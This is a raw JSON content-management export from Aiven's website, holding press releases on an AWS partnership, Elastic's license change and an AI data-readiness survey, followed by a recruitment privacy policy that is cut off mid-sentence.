Aiven for AlloyDB Omni"},"slug":{"_type":"slug","current":"/press/announcing-aiven-for-alloydb-omni"},"subtitle":"Strategic partnership marks launch of Aiven for AlloyDB Omni","title":"Aiven Partners with Google Cloud to Offer AlloyDB Omni on Amazon Web Services, Microsoft Azure and Google Cloud"}
{"__i18n_lang":"en","_createdAt":"2024-10-07T08:28:14Z","_id":"61d7a1e9-f2f4-4472-ba71-7df43be47737","_rev":"exgZYl4YMpSEzTrzwwhM3k","_type":"pressRelease","_updatedAt":"2024-10-11T10:31:39Z","content":[{"_key":"fb420b05146e","_type":"block","children":[{"_key":"1a11f0e151fd0","_type":"span","marks":["em"],"text":"Helsinki, Finland - October 9, 2024"},{"_key":"1a11f0e151fd1","_type":"span","marks":[],"text":" – Aiven, the trusted data and AI platform company, announced today that it has signed a three-year strategic collaboration agreement with Amazon Web Services (AWS), to help customers focus on innovation and drive value from their data in a real-time, data-driven world."}],"markDefs":[],"style":"normal"},{"_key":"d1163527a8b4","_type":"block","children":[{"_key":"aa80cebe3d300","_type":"span","marks":[],"text":"Aiven has also achieved Amazon Web Services (AWS) Data and Analytics Competency status. This designation recognizes that Aiven’s powerful open-source data services, available on AWS, empower businesses with advanced data analytics capabilities while removing the complexities of managing the underlying infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"d4702bfe57eb","_type":"block","children":[{"_key":"49d8259d665f0","_type":"span","marks":[],"text":"Under the strategic collaboration agreement, Aiven will provide its data platform services on AWS to help organizations stream, store, and serve data, simply and securely, and accelerate next-generation applications like AI/ML, confidently."}],"markDefs":[],"style":"normal"},{"_key":"4ef1617f22dc","_type":"block","children":[{"_key":"7bb1d75271df0","_type":"span","marks":[],"text":"“Aiven is proud to be recognised as a strategic partner and collaborator with AWS with the signing of the strategic collaboration agreement and to also achieve the Data and Analytics Competency status,” said Oskari Saarenmaa, Chief Executive Officer, Aiven. “Businesses see the value of data and real-time analytics on their revenue growth and customer satisfaction, and cloud choice is instrumental in achieving this. Our strengthened collaboration with AWS combines our data management platform and open-source expertise with AWS cloud technologies, offering our customers agility and scalability in the cloud and, ultimately, empowering them to innovate and respond to changing business needs at pace.”"}],"markDefs":[],"style":"normal"},{"_key":"931d7461e185","_type":"block","children":[{"_key":"33b15280c2f10","_type":"span","marks":[],"text":"\"Aiven is a great example of an AWS partner that is helping organizations to drive business transformation through implementing a robust data strategy,” said Antonio Alonso Lopez, Director of Partner Management, EMEA at AWS. “Through this strategic collaboration, we look forward to working together and unlocking value for customers with Aiven’s powerful open-source data platform combined with the unmatched scalability and security of the AWS Cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"86415e5d3043","_type":"block","children":[{"_key":"b9ae032462c70","_type":"span","marks":[],"text":"idealo, one of Europe's leading online comparison platforms for products, is a data-intensive business benefiting from the Aiven and AWS relationship. idealo chose Aiven to manage its data infrastructure in AWS, removing the management burden from internal teams and allowing them to focus on innovation – and cementing its position in a highly competitive market. Using Aiven for Apache Kafka® on AWS helps idealo get the best prices to its customers in near real-time."}],"markDefs":[],"style":"normal"},{"_key":"0a25ac50e661","_type":"block","children":[{"_key":"beff24fc737f0","_type":"span","marks":[],"text":"“With 50,000 merchants and 500 million product offers, we handle massive amounts of data so having a fast, reliable data infrastructure is a critical part of our business model. People are interested in the best price now, not five minutes ago. Delays, inaccurate data or intermittent service could impact trust in the idealo brand,” said Wanis Fahmy, Senior Cloud Engineer, idealo.\n"}],"markDefs":[],"style":"normal"},{"_key":"b50b28721d7f","_type":"block","children":[{"_key":"e287b00816aa0","_type":"span","marks":["strong"],"text":"Achieving "},{"_key":"e287b00816aa1","_type":"span","marks":["strong","em"],"text":"AWS Data and Analytics Competency status"}],"markDefs":[],"style":"normal"},{"_key":"81102e0e2c98","_type":"block","children":[{"_key":"58997285eb7e0","_type":"span","marks":[],"text":"Achieving the AWS Data and Analytics Competency status differentiates Aiven as an AWS Partner Network (APN) member that provides specialized open-source data management services designed to help enterprises adopt, develop and deploy complex data projects on AWS. To receive the APN designation, Aiven has demonstrated deep AWS expertise and that its solutions run seamlessly on AWS."}],"markDefs":[],"style":"normal"},{"_key":"cef49d2f140f","_type":"block","children":[{"_key":"aa5bb78726cb0","_type":"span","marks":[],"text":"AWS provides the broadest and deepest set of managed services for data lakes and analytics, along with the largest partner community to help organizations to build virtually any data and analytics application in the cloud. AWS Data and Analytics Competency Partners like Aiven have demonstrated success in helping customers evaluate and use the tools and best practices for collecting, storing, governing and analyzing data at any scale."}],"markDefs":[],"style":"normal"},{"_key":"2241791de899","_type":"block","children":[{"_key":"d086795948750","_type":"span","marks":[],"text":"This is enabling scalable,flexible, and cost-effective solutions from startups to global enterprises. To support the seamless integration and deployment of these solutions, AWS established the"},{"_key":"d086795948751","_type":"span","marks":["6fb92fa13045"],"text":" AWS Competency Program"},{"_key":"d086795948752","_type":"span","marks":[],"text":" to help customers identify Consulting and Technology APN Partners with deep industry experience and expertise."}],"markDefs":[{"_key":"6fb92fa13045","_type":"link","href":"https://aws.amazon.com/partners/competencies/"}],"style":"normal"},{"_key":"7e3ff00b5bec","_type":"block","children":[{"_key":"518ef5b2b0160","_type":"span","marks":[],"text":"“Using data optimally can mean the difference between an organization’s success and failure,” said Elena Zykova, Vice President, Global Partnerships, Aiven. “Aiven is a committed AWS partner and achieving the AWS Data and Analytics Competency status is the next stage in our trajectory. We are all about providing customers with cloud choice and delivering complementary open-source data services that accelerate customer deployments and business advantage.\""}],"markDefs":[],"style":"normal"},{"_key":"9a8b8799891d","_type":"block","children":[{"_key":"75d7685a6dc60","_type":"span","marks":[],"text":"With a strong presence at the AWS Summits and AWS re:Invent 2024 in December, Aiven continues to build its strategic relationship with AWS, and bring more value to our joint customers. Aiven is available on the"},{"_key":"75d7685a6dc61","_type":"span","marks":["64d25c22dd7a"],"text":" AWS marketplace"},{"_key":"75d7685a6dc62","_type":"span","marks":[],"text":", where AWS customers can deploy any of the Aiven cloud services on its data platform, including Aiven for Apache Kafka®, Aiven for Apache Flink®, Aiven for OpenSearch®, Aiven for Apache Cassandra®, Aiven for PostgreSQL®, Aiven for MySQL®, and Aiven for Dragonfly®. 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Aiven’s cloud platform combines open choice services to stream, store, and serve data, simply, securely, and rapidly across major cloud providers to power innovation. Aiven is trusted by thousands of customers to create next-generation applications confidently and quickly. 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{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3BVM4xUxwO1Yhrgv9jNJ4C","_rev":"neae7oL4y1FotDvvRLJMto","_type":"pressRelease","_updatedAt":"2024-07-11T12:31:03Z","content":[{"_key":"x5ij8shf","_type":"block","children":[{"_key":"410d9aec69a2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — January 19, 2021- "},{"_key":"szrjMcOQ","_type":"span","marks":[],"text":"On Thursday January 14, 2021, Elastic "},{"_key":"VLwEJTi9","_type":"span","marks":["m5499825968375"],"text":"announced"},{"_key":"DkYgbxMg","_type":"span","marks":[],"text":" their intention to move their Apache 2.0-licensed source code in Elasticsearch and Kibana to be dual licensed under Server Side Public License (SSPL) and the Elastic License."}],"markDefs":[{"_key":"m5499825968375","_type":"link","href":"https://www.elastic.co/blog/licensing-change"}],"style":"normal"},{"_key":"rXrvE5PD","_type":"block","children":[{"_key":"z8IyqTxx","_type":"span","marks":["strong"],"text":"UPDATE 2: Aiven has released "},{"_key":"FplAIo7m","_type":"span","marks":["strong","m10667120607854"],"text":"Aiven for OpenSearch"},{"_key":"xgvhhoai","_type":"span","marks":["strong"],"text":", built on Elasticsearch 7 and offering all the same functionality at the time of the launch."}],"markDefs":[{"_key":"m10667120607854","_type":"link","href":"https://aiven.io/blog/announcing-aiven-for-opensearch"}],"style":"normal"},{"_key":"cNUmH8ep","_type":"block","children":[{"_key":"hFJhH3K0","_type":"span","marks":["strong"],"text":"UPDATE: Read "},{"_key":"rml5Q9Hy","_type":"span","marks":["strong","m4114087295013"],"text":"our longer blog post"},{"_key":"JYMzNAzA","_type":"span","marks":["strong"],"text":" on this topic."}],"markDefs":[{"_key":"m4114087295013","_type":"link","href":"https://aiven.io/blog/keeping-elasticsearch-open"}],"style":"normal"},{"_key":"1j5lKpsZ","_type":"block","children":[{"_key":"vS0CimZe","_type":"span","marks":[],"text":"While we are sorry to see Elastic adopt a more restricted license strategy, "},{"_key":"1OaiHhCa","_type":"span","marks":["strong"],"text":"their announcement does not have any effect on the Elasticsearch service Aiven customers are currently using"},{"_key":"mjdzuz4z","_type":"span","marks":[],"text":". The new license only applies to future Elasticsearch versions and does not impact availability or maintenance of current Elasticsearch versions."}],"markDefs":[],"style":"normal"},{"_key":"9O4wBuQf","_type":"block","children":[{"_key":"TAdocLGJ","_type":"span","marks":[],"text":"We expect a community to form around the last open source release of Elasticsearch to continue its development, including building and incorporating new features that were previously not available in the open source release of Elasticsearch. Aiven will be part of this community, and we will communicate on the next steps in the coming weeks."}],"markDefs":[],"style":"normal"},{"_key":"D0QClpCi","_type":"block","children":[{"_key":"BWR0EuHl","_type":"span","marks":[],"text":"Aiven is unwavering in its commitment to offer open source technologies on its platform and supporting open source communities through continued innovation."}],"markDefs":[],"style":"normal"},{"_key":"6xIGA8Bu","_type":"block","children":[{"_key":"VdYfUQZh","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"wPEa8cOS","_type":"block","children":[{"_key":"H9G8z3wu","_type":"span","marks":[],"text":"Headquartered in Helsinki and with offices in Berlin, Toronto, Sydney, and Boston, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"t5m5WCCN","_type":"block","children":[{"_key":"ZRI2Stwo","_type":"span","marks":[],"text":"You can visit "},{"_key":"Lv9LTNpt","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"aD5xI0qh","_type":"span","marks":[],"text":"for more information or follow Aiven on Twitter: "},{"_key":"lvWNDWmF","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"AdveojtQ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"f80a2209fd5c","_type":"block","children":[{"_key":"47c725b8a619","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"defe24fcdc79","_type":"block","children":[{"_key":"601fda930035","_type":"span","marks":[],"text":"Further reading"}],"markDefs":[],"style":"h2"},{"_key":"af162a3a525b","_type":"block","children":[{"_key":"84acca7ee75d","_type":"span","marks":[],"text":" "},{"_key":"e1e2329fbb10","_type":"span","marks":["35f2ff8a684a"],"text":"Aiven statement on license changes for the Confluent Platform"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"35f2ff8a684a","_type":"internalLink","internalLink":{"_ref":"5v0sd850SX3yeH6O8wX9HD","_type":"reference"}}],"style":"normal"}],"publishedAt":"2021-01-19T00:00:00.000Z","seo":{"metaDescription":"We believe in open source. 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{"__i18n_lang":"en","_createdAt":"2024-11-20T20:59:34Z","_id":"ba9a23ce-a215-4c0a-9c8b-e35ee5649b4f","_rev":"Ud5WTDnszW9rcVYh0sJxWt","_type":"pressRelease","_updatedAt":"2024-11-21T08:22:28Z","content":[{"_key":"14b5eea36cb6","_type":"block","children":[{"_key":"a6044cbb0c80","_type":"span","marks":["em"],"text":"HELSINKI, Finland, 21 November 2024. "},{"_key":"ddcc0aca216d0","_type":"span","marks":[],"text":"‍While data remains fundamental to Artificial Intelligence (AI) strategies, more than half of C-Suite executives cite data-related challenges as the main barrier to success, findings reveal from Aiven, the trusted data and AI platform company. The majority (80%) of executives also emphasize that data sovereignty and control are equally critical to AI-driven strategic success. And many fear data security and privacy mishaps in their AI strategies could lead to negative customer sentiment."}],"markDefs":[],"style":"normal"},{"_key":"7c61a97f38b8","_type":"block","children":[{"_key":"95bfa113c2770","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a21ae01eb9c6","_type":"block","children":[{"_key":"82787f764a200","_type":"span","marks":[],"text":"In a survey of 100 C-Suite executives conducted for Aiven, only 17% of organizations have successfully moved AI projects into full production, despite widespread experimentation. Data security and privacy top the list of obstacles, with 58% of executives acknowledging these as primary risks, followed closely by issues of data availability and quality (53%). Talent shortages compound the problem, affecting 50% of respondents. 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Alarmingly, 26% consider it only moderately important or irrelevant, hinting at a potential underestimation of AI's complexities and the risks involved in exposing sensitive information. While generating simple content like blogs may not seem risky, robust use cases — such as product development — demand proprietary data for differentiation and added value."}],"markDefs":[],"style":"normal"},{"_key":"bb181ef79ee7","_type":"block","children":[{"_key":"9cd691989f0e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7f9bcf1947c0","_type":"block","children":[{"_key":"9ab4dfec5fd30","_type":"span","marks":[],"text":"As AI is projected to contribute USD 15.7 trillion to the global economy by 2030, data security, quality, compliance and sovereignty remain essential to unlocking this potential."}],"markDefs":[],"style":"normal"},{"_key":"9d213888b1ab","_type":"block","children":[{"_key":"3350540bd4930","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4a48cbf47a2f","_type":"block","children":[{"_key":"24f8113a99a20","_type":"span","marks":["strong"],"text":"Customer Perception and the Risk of Falling Behind"}],"markDefs":[],"style":"normal"},{"_key":"3a96a846e873","_type":"block","children":[{"_key":"3401d78d25730","_type":"span","marks":[],"text":"While most executives believe customers are positive (47%) or neutral (42%) or even extremely positive (8%) about GenAI, concerns about data security and privacy could easily shift perceptions. A single data breach or compliance misstep could severely damage trust and cause reputational damage. Executives must proactively manage data to avoid being left in the “laggard” category."}],"markDefs":[],"style":"normal"},{"_key":"2c49f063693a","_type":"block","children":[{"_key":"5eb97b215f830","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"29c5936a3b97","_type":"block","children":[{"_key":"58648afa3ea40","_type":"span","marks":["strong"],"text":"Revenue Generation Tops AI Priorities"}],"markDefs":[],"style":"normal"},{"_key":"1af0a056abab","_type":"block","children":[{"_key":"aa4e97af8c810","_type":"span","marks":[],"text":"When asked to identify their top AI outcome, 26% of executives prioritized revenue generation, surpassing goals like cost reduction (16%), competitiveness (15%) and customer experience improvements (15%). Yet this ambition is hindered by inadequate data readiness, signaling that significant gaps remain between AI aspirations and data capabilities."}],"markDefs":[],"style":"normal"},{"_key":"ea0367960fdb","_type":"block","children":[{"_key":"cb6217e647950","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bea028ac26b5","_type":"block","children":[{"_key":"b8fb685a69f70","_type":"span","marks":[],"text":"“Organizations need to be data-ready to truly be AI-ready,” said Francesco Tisiot, Field CTO \u0026 Head of Developer Experience at Aiven. “The accessibility of GenAI has created a false sense of ease around AI. However, unlocking the full value of proprietary data is complex and has revealed stress fractures within organizations. Businesses are eager to differentiate through AI-powered innovations but require efficient ways to manage and leverage their data.”"}],"markDefs":[],"style":"normal"},{"_key":"8a4b046e7561","_type":"block","children":[{"_key":"5a945c7193a40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c479c4e2c690","_type":"block","children":[{"_key":"927a4cf9dd8b0","_type":"span","marks":[],"text":"Aiven’s platform addresses this by enabling seamless data mobility, ensuring robust security and compliance, and optimizing access to AI and ML services."}],"markDefs":[],"style":"normal"},{"_key":"22cec8426559","_type":"block","children":[{"_key":"d64fce3fc50f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ab10e6abe3c2","_type":"block","children":[{"_key":"0e6e0b4a582a0","_type":"span","marks":[],"text":"“We want to simplify the path to AI-readiness,” Tisiot added.“By unlocking data, making it available, securable and manageable, we empower companies to drive revenue and achieve better business outcomes.”"}],"markDefs":[],"style":"normal"},{"_key":"d4f36721bd6a","_type":"block","children":[{"_key":"76f5462b63e50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0a223b0c2286","_type":"block","children":[{"_key":"ef3ce2bb8e0c0","_type":"span","marks":["strong"],"text":"Bridging the Gap: Data-Driven Success and AI’s Future Impact"}],"markDefs":[],"style":"normal"},{"_key":"abb5a1691c42","_type":"block","children":[{"_key":"de7762179ad40","_type":"span","marks":[],"text":"McKinsey research highlights that data-driven companies outperform their peers by up to 20%. Yet, many organizations struggle to realize data's full potential, especially under pressure from skills shortages, cloud complexities and legacy systems that stifle innovation."}],"markDefs":[],"style":"normal"},{"_key":"1a73bf44c8e3","_type":"block","children":[{"_key":"928a31e1f43b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"98b116177fbf","_type":"block","children":[{"_key":"9c27431738670","_type":"span","marks":[],"text":"“Implementing strong data control and sovereignty frameworks reduces exposure risks and can positively influence customer perceptions,” Tisiot concluded. “Managing these challenges effectively is crucial to transforming AI investments into tangible business value.”"}],"markDefs":[],"style":"normal"},{"_key":"05e6842bfc82","_type":"block","children":[{"_key":"bc47c05891ee0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a731e383c8c4","_type":"block","children":[{"_key":"fa2fcdd886e00","_type":"span","marks":[],"text":"Nilesh Bansal, Co-Founder, "},{"_key":"fa2fcdd886e01","_type":"span","marks":["b25a0df33b73"],"text":"WorkOrb"},{"_key":"fa2fcdd886e02","_type":"span","marks":[],"text":", said: “Companies and teams pursuing AI must not skip that important step of building a solid data foundation layer first. So, my advice would be to start with the foundation. Start with the data, and then start building on top of it.”"}],"markDefs":[{"_key":"b25a0df33b73","_type":"link","href":"https://www.linkedin.com/posts/workorb_introducing-workorb-ai-a-toronto-based-startup-activity-7151220554501394433-SXLm/"}],"style":"normal"},{"_key":"703869d2bf8b","_type":"block","children":[{"_key":"8a68d44681d40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"03e54b6ea2cb","_type":"block","children":[{"_key":"4ccd8dd166640","_type":"span","marks":[],"text":"Ends"}],"markDefs":[],"style":"normal"},{"_key":"6283ba524f2e","_type":"block","children":[{"_key":"f7b6fd0becde0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"80617ae281be","_type":"block","children":[{"_key":"c04fc3c167140","_type":"span","marks":["strong"],"text":"Survey Methodology"}],"markDefs":[],"style":"normal"},{"_key":"ded0bfd3a202","_type":"block","children":[{"_key":"69deeab2ccaf0","_type":"span","marks":[],"text":"Between July and August 2024, Gatepoint Research invited selected executives to participate in a survey themed "},{"_key":"69deeab2ccaf1","_type":"span","marks":["em"],"text":"Predicting the Data and AI Revolution"},{"_key":"69deeab2ccaf2","_type":"span","marks":[],"text":". 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{"__i18n_lang":"en","_createdAt":"2022-09-02T15:38:42Z","_id":"812e3e89-5b7b-4173-afaf-127dc2508207","_rev":"z7EiK8inwybcbhSAyACPws","_type":"term","_updatedAt":"2022-11-23T15:03:50Z","content":[{"_key":"afc4252b383a","_type":"block","children":[{"_key":"cb8eaa73bbce0","_type":"span","marks":[],"text":"This Recruitment Privacy Policy (referred to as \""},{"_key":"cb8eaa73bbce1","_type":"span","marks":["strong"],"text":"Privacy Policy"},{"_key":"cb8eaa73bbce2","_type":"span","marks":[],"text":"\") informs why and how we process personal data about job applicants who apply to one of our open positions (referred to as “"},{"_key":"cb8eaa73bbce3","_type":"span","marks":["strong"],"text":"Applicant"},{"_key":"cb8eaa73bbce4","_type":"span","marks":[],"text":"” or “"},{"_key":"cb8eaa73bbce5","_type":"span","marks":["strong"],"text":"you"},{"_key":"cb8eaa73bbce6","_type":"span","marks":[],"text":"”). Moreover, this Privacy Policy provides information on how and why we process personal data regarding potential job candidates who we are contacting in connection with introducing our open positions (referred to as “"},{"_key":"cb8eaa73bbce7","_type":"span","marks":["strong"],"text":"Candidate"},{"_key":"cb8eaa73bbce8","_type":"span","marks":[],"text":"” or “"},{"_key":"cb8eaa73bbce9","_type":"span","marks":["strong"],"text":"you"},{"_key":"cb8eaa73bbce10","_type":"span","marks":[],"text":"”)."}],"markDefs":[],"style":"normal"},{"_key":"a5d5906be087","_type":"block","children":[{"_key":"55088bce6c800","_type":"span","marks":[],"text":"Aiven Ltd, business ID: 2795743-5, is the data controller (referred to as \""},{"_key":"55088bce6c801","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"55088bce6c802","_type":"span","marks":[],"text":"\", \""},{"_key":"55088bce6c803","_type":"span","marks":["strong"],"text":"we"},{"_key":"55088bce6c804","_type":"span","marks":[],"text":"\" or \""},{"_key":"55088bce6c805","_type":"span","marks":["strong"],"text":"us"},{"_key":"55088bce6c806","_type":"span","marks":[],"text":"\") in relation to the processing of your personal data. As a data controller, Aiven is responsible for ensuring that personal data is processed in compliance with data protection laws. We take your data protection rights seriously and your personal data will be treated in a secure and confidential manner as set out in this Privacy Policy and as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"021f9c82cb73","_type":"block","children":[{"_key":"c49ef25ba2940","_type":"span","marks":[],"text":"We have also designated a Data Protection Officer (“DPO”) to oversee our data protection related matters. If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"7f4a0aa84d13","_type":"span","marks":["7725b9fde7e4"],"text":"dpo@aiven.io"},{"_key":"0242a399ab47","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7725b9fde7e4","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"11b28d629580","_type":"block","children":[{"_key":"d5a90d3b03550","_type":"span","marks":[],"text":"Where do we collect your personal data from?"}],"markDefs":[],"style":"h2"},{"_key":"0e50ca1a9d79","_type":"block","children":[{"_key":"a9666289fbdf0","_type":"span","marks":[],"text":"We may collect your personal data from the following sources:"}],"markDefs":[],"style":"normal"},{"_key":"b7c397e671e4","_type":"block","children":[{"_key":"8d37d84117430","_type":"span","marks":[],"text":"Personal data provided directly by you"}],"markDefs":[],"style":"h3"},{"_key":"dd88728d722b","_type":"block","children":[{"_key":"14426ec866350","_type":"span","marks":[],"text":"For the most part, we collect personal data directly from you during the recruitment process. You provide us with data, for example, when you send us your application through our application form, during job interviews and in connection with performing possible aptitude assessments."}],"markDefs":[],"style":"normal"},{"_key":"6b7faef6f13b","_type":"block","children":[{"_key":"d26a10b4af2a0","_type":"span","marks":[],"text":"Technical data we collect or generate automatically"}],"markDefs":[],"style":"h3"},{"_key":"a817a1725cb1","_type":"block","children":[{"_key":"1dc8b7fc57c90","_type":"span","marks":[],"text":"When you use our website, we may automatically collect some technical data which may be associated with you (e.g. IP-address) and your visit on our website. More information regarding the processing of personal data on our website "},{"_key":"b20c872681e5","_type":"span","marks":["75a56ec787a3"],"text":"here"},{"_key":"215fbf97766c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"75a56ec787a3","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"},{"_key":"137099c7e292","_type":"block","children":[{"_key":"79c699b492680","_type":"span","marks":[],"text":"Personal data collected from publicly available services (e.g., LinkedIn, GitHub)"}],"markDefs":[],"style":"h3"},{"_key":"7855b6f34b5c","_type":"block","children":[{"_key":"86196e625d0a0","_type":"span","marks":[],"text":"We may collect your personal data from publicly available services, such as LinkedIn and GitHub. This applies mainly with respect to Candidates who we are actively contacting in connection with introducing our open positions. Please note that we may use search engines to collect your public profile data from publicly available services. You can restrict search engines from accessing your public profile by changing certain profile settings or by removing the personal data available on such services."}],"markDefs":[],"style":"normal"},{"_key":"e8c454fcaca5","_type":"block","children":[{"_key":"d74e6963dbcd0","_type":"span","marks":[],"text":"Personal data collected from background checking organizations"}],"markDefs":[],"style":"h3"},{"_key":"00225b0e4a29","_type":"block","children":[{"_key":"c2b23d68306f0","_type":"span","marks":[],"text":"As part of the recruitment process, and subject to your consent, we may also perform background checks on you. As necessary, such background checks may include criminal records, credit reports or working permits. If background checks are performed, Aiven will at all times ensure that data protection laws are complied with."}],"markDefs":[],"style":"normal"},{"_key":"28bc7acc262a","_type":"block","children":[{"_key":"1b980c994c490","_type":"span","marks":[],"text":"References from former employers or educational institutions"}],"markDefs":[],"style":"h3"},{"_key":"54760e389500","_type":"block","children":[{"_key":"e6c2d6a1fcf70","_type":"span","marks":[],"text":"Moreover, during the recruitment process, we may also collect your data from references such as your former employers or educational institutions."}],"markDefs":[],"style":"normal"},{"_key":"56d5767c7e8f","_type":"block","children":[{"_key":"a72f9f7714750","_type":"span","marks":[],"text":"Why do we process candidate personal data?"}],"markDefs":[],"style":"h2"},{"_key":"e63268709f95","_type":"block","children":[{"_key":"bc9cf0f912920","_type":"span","marks":[],"text":"We may process personal data concerning you, as a Candidate, for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"0d5bb73aee9f","_type":"block","children":[{"_key":"45d1e52bf28e0","_type":"span","marks":[],"text":"Evaluating and finding suitable Candidates"}],"markDefs":[],"style":"h3"},{"_key":"942cdba70182","_type":"block","children":[{"_key":"e85c6ce412900","_type":"span","marks":[],"text":"We process your personal data to evaluate your potential and to identify you as a suitable Candidate for one of our open positions. The processing in this regard includes categorizing and evaluating your suitability for open positions by using certain criteria with respect to professional attributes and skills when performing searches from publicly available services (e.g., LinkedIn, GitHub)."}],"markDefs":[],"style":"normal"},{"_key":"ac8f13f25214","_type":"table","rows":[{"_key":"f6151a30-77e2-44cc-bbde-d5b73e34b375","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"ca3072c2-5d71-4a81-aeb3-6758c00b5cae","_type":"tableRow","cells":["Identity data / Contact data / Skills data / Employment data / Education data","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in attracting and appointing high caliber talents to secure competitiveness and business continuity."]}]},{"_key":"92e298e571b4","_type":"block","children":[{"_key":"d013a257ef870","_type":"span","marks":[],"text":"Informing and offe"},{"_key":"56c1f51db9d1","_type":"span","marks":["strong"],"text":"ring open positions to suitable Candidates"}],"markDefs":[],"style":"h3"},{"_key":"57d9641e3b9c","_type":"block","children":[{"_key":"bf88e3e5ec310","_type":"span","marks":[],"text":"We process your personal data, as a Candidate, to inform and offer our open positions to you. The processing in this regard may also include contacting suitable Candidates about new open positions via email."}],"markDefs":[],"style":"normal"},{"_key":"46ac21484cd5","_type":"table","rows":[{"_key":"ca5e6afc-da34-42e4-aa34-ddcffe81f988","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"add011ed-44a0-4e02-a6bb-433a2e6a1a39","_type":"tableRow","cells":["Identity data / Contact data","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in imparting information and establishing a dialogue with suitable Candidates to ensure effective communication of open positions."]}]},{"_key":"ee724695f94a","_type":"block","children":[{"_key":"2071a57b2b840","_type":"span","marks":[],"text":"\nIf you submit a job application to us, we will further process your personal data for the purposes set out below in section “Why do we process Applicant personal data?”"}],"markDefs":[],"style":"normal"},{"_key":"c9eb9e59ce4f","_type":"block","children":[{"_key":"a32d80e53d650","_type":"span","marks":[],"text":"Further information on how we perform candidate searches"}],"markDefs":[],"style":"h2"},{"_key":"8207e1271ad7","_type":"block","children":[{"_key":"9601bafcd8260","_type":"span","marks":[],"text":"We use a dedicated search engine to perform Candidate searches from publicly available services. For each of our open positions, to which we are looking for Candidates, we always have certain predefined criteria against which we perform the searches. The predefined criteria consist of the following information regarding the Candidate (the combination used in each search may vary):"}],"markDefs":[],"style":"normal"},{"_key":"e4f936333d30","_type":"block","children":[{"_key":"6e9d97a744910","_type":"span","marks":[],"text":"Working location"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"43f6dfef8252","_type":"block","children":[{"_key":"83f3366cf5350","_type":"span","marks":[],"text":"Work experience"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"917ef084cafc","_type":"block","children":[{"_key":"dcaddcc8cb290","_type":"span","marks":[],"text":"Technology skills (e.g., key programming languages)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ea8e8b2b6984","_type":"block","children":[{"_key":"50e72d68f6820","_type":"span","marks":[],"text":"Other similar professional attributes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c2ff2e4aedb","_type":"block","children":[{"_key":"29e3ea3f266f0","_type":"span","marks":[],"text":"In other words, we use pre-determined criteria and automated means to process personal data and create profiles of Candidates. Although the processing may amount to profiling, as defined in data protection laws, we do not carry out any automated decision making that would have legal effects or similarly significant effects on the Candidates."}],"markDefs":[],"style":"normal"},{"_key":"a7586aeff158","_type":"block","children":[{"_key":"7986043188370","_type":"span","marks":[],"text":"After performing the search, our recruiters will always review the results and decide which Candidates to contact. In addition, before communicating, our recruiters may also manually check the potential Candidate’s profile in Public Services in order to determine whether the Candidate has the necessary skills and attributes to succeed in our open position."}],"markDefs":[],"style":"normal"},{"_key":"cd5551c17abb","_type":"block","children":[{"_key":"835439a946d40","_type":"span","marks":[],"text":"Why do we process applicant personal data?"}],"markDefs":[],"style":"h2"},{"_key":"934e4b63ca14","_type":"block","children":[{"_key":"570c5e1f74710","_type":"span","marks":[],"text":"If you submit an application to us, we may process your personal data for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"5a95a27702cf","_type":"block","children":[{"_key":"4934f78a74c10","_type":"span","marks":[],"text":"Managing the recruitment process and Applicant evaluation to reach a selection decision"}],"markDefs":[],"style":"h3"},{"_key":"0d468909d32b","_type":"block","children":[{"_key":"bb86a5ab642f0","_type":"span","marks":[],"text":"We process your personal data for the purposes of storing, reviewing and managing job applications as part of our recruitment process. Furthermore, we process personal data to communicate with, and to carry out the evaluation, selection and appointment of the Applicant. We may also carry out background and reference checks, and for some positions, ensure that the Applicant has the 